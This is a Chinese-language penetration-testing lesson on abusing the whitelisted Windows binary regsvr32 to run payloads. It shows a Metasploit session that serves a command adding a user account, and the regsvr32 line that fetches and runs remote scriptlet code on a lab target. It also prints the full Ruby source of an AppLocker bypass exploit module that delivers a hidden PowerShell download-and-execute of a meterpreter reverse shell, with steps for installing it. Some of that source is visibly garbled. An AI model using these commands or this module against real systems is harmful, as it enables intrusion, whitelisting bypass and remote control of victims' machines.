注:请多喝点热水或者凉白开,身体特别重要。

Regsvr32简介:

Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的 DLL,需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式,或者提供DllInstall输出函数。

说明:Regsvr32.exe所在路径已被系统添加PATH环境变量中,因此,Regsvr32命令可识别。

Windows 2003 默认位置:

  1. C:\WINDOWS\SysWOW64\regsvr32.exe
  2. C:\WINDOWS\system32\regsvr32.exe

攻击机:192.168.1.4 Debian
靶机: 192.168.1.119 Windows 2003

msf 已内置auxiliary版本的regsvr32_command_delivery_server,但是最新版已经无exploit版本regsvr32,文章结尾补充。

配置攻击机msf:

  1. msf auxiliary(server/regsvr32_command_delivery_server) > use auxiliary/server/regsvr32_command_delivery_server
  2. msf auxiliary(server/regsvr32_command_delivery_server) > set CMD net user Micropoor Micropoor /add
  3. CMD => net user Micropoor Micropoor /add
  4. msf auxiliary(server/regsvr32_command_delivery_server) > exploit
  5. [*] Using URL: http://0.0.0.0:8080/ybn7xESQYCGv
  6. [*] Local IP: http://192.168.1.4:8080/ybn7xESQYCGv
  7. [*] Server started.
  8. [*] Run the following command on the target machine:
  9. regsvr32 /s /n /u /i:http://192.168.1.4:8080/ybn7xESQYCGv scrobj.dll

第七十九课:基于白名单Regsvr32执行payload第九季 - 图1

靶机执行:

  1. regsvr32 /s /n /u /i:http://192.168.1.4:8080/ybn7xESQYCGv scrobj.dll

第七十九课:基于白名单Regsvr32执行payload第九季 - 图2

第七十九课:基于白名单Regsvr32执行payload第九季 - 图3

第七十九课:基于白名单Regsvr32执行payload第九季 - 图4

第七十九课:基于白名单Regsvr32执行payload第九季 - 图5

附:powershell 版 Regsvr32

regsvr32_applocker_bypass_server.rb

  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit‐framework
  4. ##
  5. class MetasploitModule < Msf::Exploit::Remote
  6. Rank = ManualRanking
  7. include Msf::Exploit::Powershell
  8. include Msf::Exploit::Remote::HttpServer
  9. def initialize(info = {})
  10. super(update_info(info,
  11. 'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Serve r', 'Description' => %q(
  12. This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
  13. The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
  14. This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
  15. Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
  16. ),
  17. 'License' => MSF_LICENSE,
  18. 'Author' =>
  19. [
  20. 'Casey Smith', # AppLocker bypass research and vulnerability discover y(\@subTee)
  21. 'Trenton Ivey', # MSF Module (kn0)
  22. ],
  23. 'DefaultOptions' =>
  24. {
  25. 'Payload' => 'windows/meterpreter/reverse_tcp'
  26. },
  27. 'Targets' => [['PSH', {}]],
  28. 'Platform' => %w(win),
  29. 'Arch' => [ARCH_X86, ARCH_X86_64],
  30. 'DefaultTarget' => 0,
  31. 'DisclosureDate' => 'Apr 19 2016',
  32. 'References' =>
  33. [
  34. ['URL', 'http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐script.html']
  35. ]
  36. ))
  37. end
  38. def primer
  39. print_status('Run the following command on the target machine:')
  40. print_line("regsvr32 /s /n /u /i:\#{get_uri}.sct scrobj.dll")
  41. end
  42. def on_request_uri(cli, _request)
  43. # If the resource request ends with '.sct', serve the .sct file
  44. # Otherwise, serve the PowerShell payload
  45. if _request.raw_uri =~ /\.sct$/
  46. serve_sct_file
  47. else
  48. serve_psh_payload
  49. end
  50. end
  51. def serve_sct_file
  52. print_status("Handling request for the .sct file from #{cli.peerhost}")
  53. ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
  54. download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
  55. download_and_run = "#{ignore_cert}#{download_string}"
  56. psh_command = generate_psh_command_line(
  57. noprofile: true,
  58. windowstyle: 'hidden',
  59. command: download_and_run
  60. )
  61. data = gen_sct_file(psh_command)
  62. send_response(cli, data, 'Content‐Type' => 'text/plain')
  63. end
  64. def serve_psh_payload
  65. print_status("Delivering payload to #{cli.peerhost}")
  66. data = cmd_psh_payload(payload.encoded,
  67. payload_instance.arch.first,
  68. remove_comspec: true,
  69. use_single_quotes: true
  70. )
  71. send_response(cli,data,'Content‐Type' => 'application/octet‐stream')
  72. end
  73. def rand_class_id
  74. "#{Rex::Text.rand_text_hex 8}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex 4}‐#{Rex::Text.rand_text_hex12}"
  75. end
  76. def gen_sct_file(command)
  77. %{<?XML version="1.0"?><scriptlet><registrationprogid="\#{rand_text_a lphanumeric 8}"
  78. classid="{#{rand_class_id}}"><script><![CDATA[ var r = ne wActiveXObject("WScript.Shell").Run("#{command}",0);]]><script></registration></scriptlet>}
  79. end
  80. end

使用方法:

copy regsvr32_applocker_bypass_server.rb to /usr/share/metasploit-framework/modules/exploits/windows/misc

第七十九课:基于白名单Regsvr32执行payload第九季 - 图6

Micropoor